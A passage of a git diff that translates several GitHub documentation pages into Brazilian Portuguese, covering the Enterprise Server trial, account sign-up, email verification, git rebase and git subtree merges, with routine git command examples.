+{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}Alertas de Segurança{% endif %} e {% data variables.product.prodname_github_connect %} não estão disponíveis atualmente nos testes de {% data variables.product.prodname_ghe_server %}. Para uma demonstração desses recursos, entre em contato com  {% data variables.contact.contact_enterprise_sales %}. Para mais informações sobre esses recursos, consulte "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" e "[Conectando a sua conta corporativa a {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)"
+
+As versões de avaliação também estão disponíveis para {% data variables.product.prodname_ghe_cloud %}. Para obter mais informações, consulte "[Configurar uma versão de avaliação do {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud)".
 
 {% data reusables.products.which-product-to-use %}
 
-## Setting up your trial of {% data variables.product.prodname_ghe_server %}
+## Configurar a versão de avaliação do {% data variables.product.prodname_ghe_server %}
 
-{% data variables.product.prodname_ghe_server %} is installed as a virtual appliance. Determine the best person in your organization to set up a virtual machine, and ask that person to submit a [trial request](https://enterprise.github.com/trial). You can begin your trial immediately after submitting a request.
+O {% data variables.product.prodname_ghe_server %} é instalado como um appliance virtual. Escolha uma pessoa na organização para configurar uma máquina virtual e peça para ela [solicitar uma versão de avaliação](https://enterprise.github.com/trial). Você pode iniciar a versão de avaliação imediatamente após enviar a solicitação.
 
-To set up an account for the {% data variables.product.prodname_enterprise %} Web portal, click the link in the email you received after submitting your trial request, and follow the prompts. Then, download your license file. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)."
+Para configurar uma conta para o portal da web do {% data variables.product.prodname_enterprise %}, clique no link no e-mail recebido após enviar a solicitação da versão de avaliação e siga as instruções. Depois, baixe seu arquivo de licença. Para obter mais informações, consulte "[Gerenciar a sua licença para {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)."
 
-To install {% data variables.product.prodname_ghe_server %}, download the necessary components and upload your license file. For more information, see the instructions for your chosen visualization platform in "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)."
+Para instalar o {% data variables.product.prodname_ghe_server %}, faça download dos componentes necessários e faça upload do arquivo da licença. Para obter mais informações, consulte as instruções da plataforma de visualização escolhida em "[Configurar uma instância do {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)".
 
-## Next steps
+## Próximas etapas
 
-To get the most out of your trial, follow these steps:
+Siga estas etapas para aproveitar ao máximo a versão de avaliação:
 
-1. [Create an organization](/enterprise-server@latest/admin/user-management/creating-organizations).
-2. To learn the basics of using {% data variables.product.prodname_dotcom %}, see:
-   - [Quick start guide to {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/) webcast
-   - [Understanding the {% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow/) in {% data variables.product.prodname_dotcom %} Guides
-   - [Hello World](https://guides.github.com/activities/hello-world/) in {% data variables.product.prodname_dotcom %} Guides
-   - "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
-3. To configure your instance to meet your organization's needs, see "[Configuring your enterprise](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)."
-4. To integrate {% data variables.product.prodname_ghe_server %} with your identity provider, see "[Using SAML](/enterprise-server@latest/admin/user-management/using-saml)" and "[Using LDAP](/enterprise-server@latest/admin/authentication/using-ldap)."
-5. Invite an unlimited number of people to join your trial.
-   - Add users to your {% data variables.product.prodname_ghe_server %} instance using built-in authentication or your configured identity provider. For more information, see "[Using built in authentication](/enterprise-server@latest/admin/user-management/using-built-in-authentication)."
-   - To invite people to become account administrators, visit the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login).
+1. [Crie uma organização](/enterprise-server@latest/admin/user-management/creating-organizations).
+2. Para aprender as noções básicas de uso do {% data variables.product.prodname_dotcom %}, consulte:
+   - Webcast [Guia de início rápido do {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/)
+   - [Entender o fluxo do {% data variables.product.prodname_dotcom %}](https://guides.github.com/introduction/flow/) nos guias do {% data variables.product.prodname_dotcom %}
+   - [Hello World](https://guides.github.com/activities/hello-world/) nos guias do {% data variables.product.prodname_dotcom %}
+   - "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
+3. Para configurar a sua instância para atender as necessidades da sua organização, consulte "[Configurar sua empresa](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)".
+4. Para integrar o {% data variables.product.prodname_ghe_server %} ao seu provedor de identidade, consulte "[Usar SAML](/enterprise-server@latest/admin/user-management/using-saml)" e "[Usar LDAP](/enterprise-server@latest/admin/authentication/using-ldap)".
+5. Convite o número desejado de pessoas (sem limite) para fazer parte da versão de avaliação.
+   - Adicione os usuários à sua instância do {% data variables.product.prodname_ghe_server %} usando autenticação integrada ou seu provedor de identidade configurado. Para obter mais informações, consulte "[Usar autenticação integrada](/enterprise-server@latest/admin/user-management/using-built-in-authentication)".
+   - Para convidar pessoas para atuar como administradores da conta, acesse o [portar da web do {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/login).
 
     {% note %}
 
-    **Note:** People you invite to become account administrators will receive an email with a link to accept your invitation.
+    **Observação:** as pessoas convidadas para atuar como administradores da conta receberão um e-mail com um link para aceitar o convite.
 
     {% endnote %}
 
 {% data reusables.products.product-roadmap %}
 
-## Finishing your trial
+## Finalizar a versão de avaliação
 
-You can upgrade to full licenses in the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login) at any time during the trial period.
+Você pode fazer upgrade para as licenças completas no [portal da web do {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/login) a qualquer momento durante o período da avaliação.
 
-If you haven't upgraded by the last day of your trial, you'll receive an email notifying you that your trial had ended. If you need more time to evaluate {% data variables.product.prodname_enterprise %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+Se não fizer upgrade até o último dia do período de avaliação, você receberá um e-mail informando que o período da avaliação terminou. Se precisar de mais tempo para avaliar o {% data variables.product.prodname_enterprise %}, entre em contato com {% data variables.contact.contact_enterprise_sales %} para solicitar uma extensão.
 
-## Further reading
+## Leia mais
 
-- "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)"
+- "[Configurar uma versão de avaliação do {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)"
diff --git a/translations/pt-BR/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md b/translations/pt-BR/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
index d20a58f745..a011fa94cf 100644
--- a/translations/pt-BR/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
+++ b/translations/pt-BR/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
@@ -1,7 +1,7 @@
 ---
-title: Signing up for a new GitHub account
-shortTitle: Sign up for a new GitHub account
-intro: '{% data variables.product.company_short %} offers user accounts for individuals and organizations for teams of people working together.'
+title: Fazer o registro em uma conta conta do GitHub
+shortTitle: Inscreva-se para uma nova conta no GitHub
+intro: 'O {% data variables.product.company_short %} oferece contas de usuário para pessoas e organizações para que equipes de pessoas trabalhem juntas.'
 redirect_from:
   - /articles/signing-up-for-a-new-github-account
   - /github/getting-started-with-github/signing-up-for-a-new-github-account
@@ -13,19 +13,19 @@ topics:
   - Accounts
 ---
 
-## About new accounts on {% data variables.product.prodname_dotcom_the_website %}
+## Sobre as novas contas em {% data variables.product.prodname_dotcom_the_website %}
 
-You can create a personal account, which serves as your identity on {% data variables.product.prodname_dotcom_the_website %}, or an organization, which allows multiple personal accounts to collaborate across multiple projects. For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+É possível criar uma conta pessoal, que serve como sua identidade em {% data variables.product.prodname_dotcom_the_website %}, ou em uma organização, o que permite que várias contas pessoais colaborem em múltiplos projetos. Para obter mais informações sobre os tipos de conta, consulte "[Tipos de contas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
 
-When you create a personal account or organization, you must select a billing plan for the account. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
+Ao criar uma conta pessoal ou organização, você deve selecionar um plano de cobrança para a conta. Para obter mais informações, consulte os "[Produtos da {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products)".
 
-## Signing up for a new account
+## Inscrevendo-se em uma nova conta
 
 {% data reusables.accounts.create-account %}
-1. Follow the prompts to create your personal account or organization.
+1. Siga as instruções para criar a conta pessoa ou organização.
 
-## Next steps
+## Próximas etapas
 
-- "[Verify your email address](/articles/verifying-your-email-address)"
-- "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)"{% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}
-- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository
+- "[Verificar endereço de e-mail](/articles/verifying-your-email-address)"
+- "[Criando uma conta corporativa](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)"{% ifversion fpt %} na documentação de {% data variables.product.prodname_ghe_cloud %}{% endif %}
+- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) no repositório  `github/roadmap`
diff --git a/translations/pt-BR/content/get-started/signing-up-for-github/verifying-your-email-address.md b/translations/pt-BR/content/get-started/signing-up-for-github/verifying-your-email-address.md
index ec5d6be37c..a7a570f71b 100644
--- a/translations/pt-BR/content/get-started/signing-up-for-github/verifying-your-email-address.md
+++ b/translations/pt-BR/content/get-started/signing-up-for-github/verifying-your-email-address.md
@@ -1,6 +1,6 @@
 ---
-title: Verifying your email address
-intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.'
+title: Verificar endereço de e-mail
+intro: 'A verificação do endereço de e-mail principal garante segurança reforçada, permite que a equipe do {% data variables.product.prodname_dotcom %} auxilie melhor caso você esqueça sua senha e fornece acesso a mais recursos no {% data variables.product.prodname_dotcom %}.'
 redirect_from:
   - /articles/troubleshooting-email-verification
   - /articles/setting-up-email-verification
@@ -12,60 +12,59 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Verify your email address
+shortTitle: Verifique seu endereço de e-mail
 ---
-## About email verification
 
-You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified.
+## Sobre a verificação de e-mail
 
-If you do not verify your email address, you will not be able to:
-  - Create or fork repositories
-  - Create issues or pull requests
-  - Comment on issues, pull requests, or commits
-  - Authorize {% data variables.product.prodname_oauth_app %} applications
-  - Generate personal access tokens
-  - Receive email notifications
-  - Star repositories
-  - Create or update project boards, including adding cards
-  - Create or update gists
-  - Create or use {% data variables.product.prodname_actions %}
-  - Sponsor developers with {% data variables.product.prodname_sponsors %}
+Você pode verificar seu endereço de e-mail depois de se inscrever em uma nova conta ou ao adicionar um novo endereço de e-mail. Se um endereço de e-mail não puder ser entregue ou retornar, ele será considerado como não verificado.
+
+Se você não verificar seu endereço de e-mail, não poderá:
+  - Criar ou bifurcar repositórios
+  - Criar problemas ou pull requests
+  - Fazer comentários em problema, pull request ou commits
+  - Autorizar aplicativos do {% data variables.product.prodname_oauth_app %}
+  - Gerar tokens de acesso pessoais
+  - Receber notificações de e-mail
+  - Marcar repositórios com estrela
+  - Criar ou atualizar quadros de projeto, inclusive adicionando cartões
+  - Criar ou atualizar gists
+  - Criar ou usar o {% data variables.product.prodname_actions %}
+  - Patrocine desenvolvedores com {% data variables.product.prodname_sponsors %}
 
 {% warning %}
 
-**Warnings**:
+**Avisos**:
 
 - {% data reusables.user_settings.no-verification-disposable-emails %}
 - {% data reusables.user_settings.verify-org-approved-email-domain %}
 
 {% endwarning %}
 
-## Verifying your email address
+## Verificar endereço de e-mail
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.emails %}
-1. Under your email address, click **Resend verification email**.
-  ![Resend verification email link](/assets/images/help/settings/email-verify-button.png)
-4. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner.
-  ![Banner confirming that your email was verified](/assets/images/help/settings/email-verification-confirmation-banner.png)
+1. Sob o seu endereço de e-mail, clique em **Reenviar e-mail de verificação**. ![Reenviar link do e-mail de verificação](/assets/images/help/settings/email-verify-button.png)
+4. O {% data variables.product.prodname_dotcom %} enviará a você um e-mail com um link. Clicando nesse link, você será redirecionado para o painel do {% data variables.product.prodname_dotcom %} e verá um banner de confirmação. ![Banner confirmando que seu e-mail foi verificado](/assets/images/help/settings/email-verification-confirmation-banner.png)
 
-## Troubleshooting email verification
+## Resolver problemas na verificação de e-mail
 
-### Unable to send verification email
+### Não é possível enviar verificação de e-mail
 
 {% data reusables.user_settings.no-verification-disposable-emails %}
 
-### Error page after clicking verification link
+### Página de erro depois de clicar no link de verificação
 
-The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+O link de verificação expira após 24 horas. Se você não verificar seu e-mail dentro de 24 horas, poderá solicitar outro link de verificação de e-mail. Para obter mais informações, consulte "[Verificar o endereço de e-mail](/articles/verifying-your-email-address)".
 
-If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.product.product_location %}.
+Se você clicar no link no e-mail de confirmação dentro de 24 horas e você for direcionado a uma página de erro, você deve garantir que está conectado à conta correta em {% data variables.product.product_location %}.
 
-1. {% data variables.product.signout_link %} of your personal account on {% data variables.product.product_location %}.
-2. Quit and restart your browser.
-3. {% data variables.product.signin_link %} to your personal account on {% data variables.product.product_location %}.
-4. Click on the verification link in the email we sent you.
+1. {% data variables.product.signout_link %} da sua conta pessoal em {% data variables.product.product_location %}.
+2. Saia e reinicie o navegador.
+3. {% data variables.product.signin_link %} para a sua conta pessoal em {% data variables.product.product_location %}.
+4. Clique no link de verificação no e-mail que enviamos para você.
 
-## Further reading
+## Leia mais
 
-- "[Changing your primary email address](/articles/changing-your-primary-email-address)"
+- "[Alterar endereço de e-mail principal](/articles/changing-your-primary-email-address)"
diff --git a/translations/pt-BR/content/get-started/using-git/about-git-rebase.md b/translations/pt-BR/content/get-started/using-git/about-git-rebase.md
index e6fc3b9603..49e92cf3b0 100644
--- a/translations/pt-BR/content/get-started/using-git/about-git-rebase.md
+++ b/translations/pt-BR/content/get-started/using-git/about-git-rebase.md
@@ -1,5 +1,5 @@
 ---
-title: About Git rebase
+title: Sobre o Git rebase
 redirect_from:
   - /rebase
   - articles/interactive-rebase/
@@ -7,68 +7,69 @@ redirect_from:
   - /github/using-git/about-git-rebase
   - /github/getting-started-with-github/about-git-rebase
   - /github/getting-started-with-github/using-git/about-git-rebase
-intro: 'The `git rebase` command allows you to easily change a series of commits, modifying the history of your repository. You can reorder, edit, or squash commits together.'
+intro: 'O comando ''git rebase'' permite alterar com facilidade uma variedade de commits, modificando o histórico do seu repositório. É possível reordenar, editar ou combinar commits por squash.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-Typically, you would use `git rebase` to:
 
-* Edit previous commit messages
-* Combine multiple commits into one
-* Delete or revert commits that are no longer necessary
+Geralmente, `git rebase` é usado para:
+
+* Editar mensagens anteriores do commit
+* Combinar vários commits em um
+* Excluir ou reverter commits que não são mais necessários
 
 {% warning %}
 
-**Warning**: Because changing your commit history can make things difficult for everyone else using the repository, it's considered bad practice to rebase commits when you've already pushed to a repository. To learn how to safely rebase on {% data variables.product.product_location %}, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+**Aviso**: como a alteração do histórico de commits pode dificultar a vida de outras pessoas que usam o repositório, não é uma boa ideia fazer rebase de commits quando você já fez push em um repositório. Para saber como fazer rebase com segurança no {% data variables.product.product_location %}, consulte "[Sobre merges de pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)".
 
 {% endwarning %}
 
-## Rebasing commits against a branch
+## Fazer rebase de commits em um branch
 
-To rebase all the commits between another branch and the current branch state, you can enter the following command in your shell (either the command prompt for Windows, or the terminal for Mac and Linux):
+Para fazer rebase de todos os commits entre outro branch e o estado do branch atual, você pode inserir o seguinte comando no shell (ou o prompt de comando para Windows, ou o terminal para Mac e Linux):
 
 ```shell
 $ git rebase --interactive <em>other_branch_name</em>
 ```
 
-## Rebasing commits against a point in time
+## Fazer rebase de commits em um momento específico
 
-To rebase the last few commits in your current branch, you can enter the following command in your shell:
+Para fazer rebase dos últimos commits em seu branch atual, você pode inserir o seguindo comando no shell:
 
 ```shell
 $ git rebase --interactive HEAD~7
 ```
 
-## Commands available while rebasing
+## Comandos disponíveis ao fazer rebase
 
-There are six commands available while rebasing:
+Há seis comandos disponíveis para fazer rebase:
 
 <dl>
 <dt><code>pick</code></dt>
-<dd><code>pick</code> simply means that the commit is included. Rearranging the order of the <code>pick</code> commands changes the order of the commits when the rebase is underway. If you choose not to include a commit, you should delete the entire line. </dd>
+<dd><code>pick</code> simplesmente significa que o commit está incluído. Reorganizar a ordem de <code>pick</code> dos comandos altera a ordem dos commits quando o rebase está em andamento. Se você optar por não incluir um commit, será preciso excluir a linha toda. </dd>
 
 <dt><code>reword</code></dt>
-<dd>The <code>reword</code> command is similar to <code>pick</code>, but after you use it, the rebase process will pause and give you a chance to alter the commit message. Any changes made by the commit are not affected. </dd>
+<dd>O comando <code>reword</code> é semelhante a <code>pick</code>, mas depois que você o usa, o processo de rebase pausa e dá a chance de você alterar a mensagem do commit. As alterações feitas pelo commit não são afetadas. </dd>
 
 <dt><code>edit</code></dt>
-<dd>If you choose to <code>edit</code> a commit, you'll be given the chance to amend the commit, meaning that you can add or change the commit entirely. You can also make more commits before you continue the rebase. This allows you to split a large commit into smaller ones, or, remove erroneous changes made in a commit. </dd>
+<dd>Se optar por editar (<code>edit</code>) um commit, você terá a chance de corrigi-lo, o que significa que será possível adicionar ou alterar o commit por inteiro. Também é possível fazer mais commits antes de continuar com o rebase. Isso permite que você divida um commit grande em commits menores ou remova alterações equivocadas feitas em um commit. </dd>
 
-<dt><code>squash</code></dt>
-<dd>This command lets you combine two or more commits into a single commit. A commit is squashed into the commit above it. Git gives you the chance to write a new commit message describing both changes.</dd>
+<dt><code>combinação por squash</code></dt>
+<dd>Esse comando permite combinar dois ou mais commits em um único commit. Um commit é combinado por squash no commit acima dele. O Git permite que você grave uma nova mensagem do commit descrevendo ambas as alterações.</dd>
 
 <dt><code>fixup</code></dt>
-<dd>This is similar to <code>squash</code>, but the commit to be merged has its message discarded. The commit is simply merged into the commit above it, and the earlier commit's message is used to describe both changes.</dd>
+<dd>Esse comando é semelhante ao <code>squash</code>, mas o commit a sofrer merge tem sua mensagem descartada. O commit simplesmente sofre merge no commit acima dele, e a mensagem do commit anterior é usado para descrever ambas as alterações.</dd>
 
 <dt><code>exec</code></dt>
-<dd>This lets you run arbitrary shell commands against a commit.</dd>
+<dd>Permite que você execute comandos de shell arbitrários em um commit.</dd>
 </dl>
 
-## An example of using `git rebase`
+## Um exemplo de uso de `git rebase`
 
-No matter which command you use, Git will launch [your default text editor](/github/getting-started-with-github/associating-text-editors-with-git) and open a file that details the commits in the range you've chosen. That file looks something like this:
+Não importa o comando a ser usado, o Git iniciará [seu editor de texto padrão](/github/getting-started-with-github/associating-text-editors-with-git) e abrirá um arquivo que detalha os commits no intervalo escolhido. Esse arquivo é parecido com este:
 
 ```
 pick 1fc6c95 Patch A
@@ -81,31 +82,31 @@ pick 7b36971 something to move before patch B
 
 # Rebase 41a72e6..7b36971 onto 41a72e6
 #
-# Commands:
-#  p, pick = use commit
-#  r, reword = use commit, but edit the commit message
-#  e, edit = use commit, but stop for amending
-#  s, squash = use commit, but meld into previous commit
-#  f, fixup = like "squash", but discard this commit's log message
-#  x, exec = run command (the rest of the line) using shell
+# Comandos:
+#  p, pick = usar commit
+#  r, reword = usar commit, mas editar a mensagem do commit
+#  e, edit = usar commit, mas interromper para correção
+#  s, squash = usar commit, mas juntar  no commit anterior
+#  f, fixup = como "squash", mas descartar mensagem de log desse commit
+#  x, exec = executar comando (o restante da linha) usando shell
 #
-# If you remove a line here THAT COMMIT WILL BE LOST.
-# However, if you remove everything, the rebase will be aborted.
+# Se você remover uma linha aqui ESSE COMMIT SERÁ PERDIDO.
+# No entanto, se você remover tudo, o rebase será anulado.
 #
 ```
 
-Breaking this information, from top to bottom, we see that:
+Ao dividir essas informações, de cima para baixo, observamos que:
 
-- Seven commits are listed, which indicates that there were seven changes between our starting point and our current branch state.
-- The commits you chose to rebase are sorted in the order of the oldest changes (at the top) to the newest changes (at the bottom).
-- Each line lists a command (by default, `pick`), the commit SHA, and the commit message. The entire `git rebase` procedure centers around your manipulation of these three columns. The changes you make are *rebased* onto your repository.
-- After the commits, Git tells you the range of commits we're working with (`41a72e6..7b36971`).
-- Finally, Git gives some help by telling you the commands that are available to you when rebasing commits.
+- Sete commits são listados, o que indica que houve sete alterações entre nosso ponto de partida e o estado do nosso branch atual.
+- Os commits escolhidos para rebase são classificados na ordem das alterações mais antigas (no topo) para as mais recentes (na base).
+- Cada linha lista um comando (por padrão, `pick`), o SHA do commit e a mensagem do commit. Todo o procedimento de `git rebase` gira em torno da manipulação dessas três colunas. As alterações feitas são *passadas por rebase* ao seu repositório.
+- Depois dos commits, o Git informa a você o intervalo de commits com os quais estamos trabalhando (`41a72e6..7b36971`).
+- Por fim, o Git fornece alguma ajuda informando a você os comandos que estão disponíveis ao fazer rebase dos commits.
 
-## Further reading
+## Leia mais
 
-- "[Using Git rebase](/articles/using-git-rebase)"
-- [The "Git Branching" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing)
-- [The "Interactive Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple)
-- "[Squashing commits with rebase](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)"
-- "[Syncing your branch](/desktop/contributing-to-projects/syncing-your-branch)" in the {% data variables.product.prodname_desktop %} documentation
+- "[Usar o Git rebase](/articles/using-git-rebase)"
+- [O capítulo "Git Branching" no livro do _Pro Git_](https://git-scm.com/book/en/Git-Branching-Rebasing)
+- [O capítulo "Interactive Rebasing" no livro do _Pro Git_](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple)
+- "[Combinar commits por squash com rebase](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)"
+- "[Sincronizar seu branch](/desktop/contributing-to-projects/syncing-your-branch)" na documentação do {% data variables.product.prodname_desktop %}
diff --git a/translations/pt-BR/content/get-started/using-git/about-git-subtree-merges.md b/translations/pt-BR/content/get-started/using-git/about-git-subtree-merges.md
index d807a05e15..1c76ac1137 100644
--- a/translations/pt-BR/content/get-started/using-git/about-git-subtree-merges.md
+++ b/translations/pt-BR/content/get-started/using-git/about-git-subtree-merges.md
@@ -1,5 +1,5 @@
 ---
-title: About Git subtree merges
+title: Sobre merges de subárvore do Git
 redirect_from:
   - /articles/working-with-subtree-merge
   - /subtree-merge
@@ -7,38 +7,39 @@ redirect_from:
   - /github/using-git/about-git-subtree-merges
   - /github/getting-started-with-github/about-git-subtree-merges
   - /github/getting-started-with-github/using-git/about-git-subtree-merges
-intro: 'If you need to manage multiple projects within a single repository, you can use a *subtree merge* to handle all the references.'
+intro: 'Se precisar gerenciar vários projetos em um único repositório, você poderá usar um *merge de subárvore* para manipular todas as referências.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## About subtree merges
 
-Typically, a subtree merge is used to contain a repository within a repository. The "subrepository" is stored in a folder of the main repository.
+## Sobre merges de subárvore
 
-The best way to explain subtree merges is to show by example. We will:
+Normalmente, um merge de subárvore é usado para conter um repositório dentro de outro repositório. O "sub-repositório" é armazenado em uma pasta do repositório principal.
 
-- Make an empty repository called `test` that represents our project
-- Merge another repository into it as a subtree called `Spoon-Knife`.
-- The `test` project will use that subproject as if it were part of the same repository.
-- Fetch updates from `Spoon-Knife` into our `test` project.
+A melhor maneira de explicar merges de subárvore é mostrar com exemplo. O que faremos:
 
-## Setting up the empty repository for a subtree merge
+- Criar um repositório vazio chamado `test` que represente nosso projeto
+- Fazer merge de outro repositório nele como uma subárvore chamada `Spoon-Knife`.
+- O projeto `test` usará esse subprojeto como se ele fosse parte do mesmo repositório.
+- Fazer fetch de atualizações em `Spoon-Knife` em nosso projeto `test`.
+
+## Configurar o repositório vazio para um merge de subárvore
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a new directory and navigate to it.
+2. Crie um novo diretório e navegue até ele.
   ```shell
   $ mkdir test
   $ cd test
   ```
-3. Initialize a new Git repository.
+3. Inicialize um novo repositório Git.
   ```shell
   $ git init
   > Initialized empty Git repository in /Users/octocat/tmp/test/.git/
   ```
-4. Create and commit a new file.
+4. Crie e faça commit de um novo arquivo.
   ```shell
   $ touch .gitignore
   $ git add .gitignore
@@ -48,9 +49,9 @@ The best way to explain subtree merges is to show by example. We will:
   >  create mode 100644 .gitignore
   ```
 
-## Adding a new repository as a subtree
+## Adicionar um novo repositório como uma subárvore
 
-1. Add a new remote URL pointing to the separate project that we're interested in.
+1. Adicione uma nova URL remota apontando para o projeto separado em que estávamos interessados.
   ```shell
   $ git remote add -f spoon-knife git@github.com:octocat/Spoon-Knife.git
   > Updating spoon-knife
@@ -63,52 +64,52 @@ The best way to explain subtree merges is to show by example. We will:
   > From git://github.com/octocat/Spoon-Knife
   >  * [new branch]      main     -> Spoon-Knife/main
   ```
-2. Merge the `Spoon-Knife` project into the local Git project. This doesn't change any of your files locally, but it does prepare Git for the next step.
+2. Faça merge do projeto `Spoon-Knife` no projeto Git local. Isso não muda qualquer um de seus arquivos localmente, mas prepara o Git para a próxima etapa.
 
-  If you're using Git 2.9 or above:
+  Se você estiver usando o Git 2.9 ou superior:
   ```shell
   $ git merge -s ours --no-commit --allow-unrelated-histories spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
 
-  If you're using Git 2.8 or below:
+  Se estiver usando o Git 2.8 ou abaixo:
   ```shell
   $ git merge -s ours --no-commit spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
-3. Create a new directory called **spoon-knife**, and copy the Git history of the `Spoon-Knife` project into it.
+3. Crie um diretório chamado **spoon-knife** e copie o histórico do projeto `Spoon-Knife` do Git nele.
   ```shell
   $ git read-tree --prefix=spoon-knife/ -u spoon-knife/main
   ```
-4. Commit the changes to keep them safe.
+4. Faça commit das alterações para mantê-las seguras.
   ```shell
   $ git commit -m "Subtree merged in spoon-knife"
   > [main fe0ca25] Subtree merged in spoon-knife
   ```
 
-Although we've only added one subproject, any number of subprojects can be incorporated into a Git repository.
+Embora tenhamos adicionado apenas um subprojeto, qualquer número de subprojetos pode ser incorporado a um repositório Git.
 
 {% tip %}
 
-**Tip**: If you create a fresh clone of the repository in the future,  the remotes you've added will not be created for you. You will have to add them again using [the `git remote add` command](/github/getting-started-with-github/managing-remote-repositories).
+**Dica**: se, futuramente, você criar um clone do repositório, os remotes adicionados não serão criados para você. Será preciso adicioná-los novamente usando [o comando `git remote add`](/github/getting-started-with-github/managing-remote-repositories).
 
 {% endtip %}
 
-## Synchronizing with updates and changes
+## Sincronizar com atualizações e alterações
 
-When a subproject is added, it is not automatically kept in sync with the upstream changes. You will need to update the subproject with the following command:
+Quando um subprojeto é adicionado, ele não é mantido automaticamente em sincronia com as alterações de upstream. Você precisará atualizar o subprojeto com o seguinte comando:
 
 ```shell
 $ git pull -s subtree <em>remotename</em> <em>branchname</em>
 ```
 
-For the example above, this would be:
+Para o exemplo acima, o comando seria:
 
 ```shell
 $ git pull -s subtree spoon-knife main
 ```
 
-## Further reading
+## Leia mais
 
-- [The "Advanced Merging" chapter from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
-- "[How to use the subtree merge strategy](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)"
+- [O capítulo "Mesclagem avançada" do livro _Pro Git_](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
+- "[Como usar a estratégia de merge de subárvore](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)"
diff --git a/translations/pt-BR/content/get-started/using-git/about-git.md b/translations/pt-BR/content/get-started/using-git/about-git.md
index f94c074ced..12cec75577 100644
--- a/translations/pt-BR/content/get-started/using-git/about-git.md
+++ b/translations/pt-BR/content/get-started/using-git/about-git.md
@@ -1,6 +1,6 @@
 ---
-title: About Git
-intro: 'Learn about the version control system, Git, and how it works with {% data variables.product.product_name %}.'
+title: Sobre o Git
+intro: 'Aprenda sobre o sistema de controle de versões, Git e como ele funciona com {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,66 +13,66 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## About version control and Git
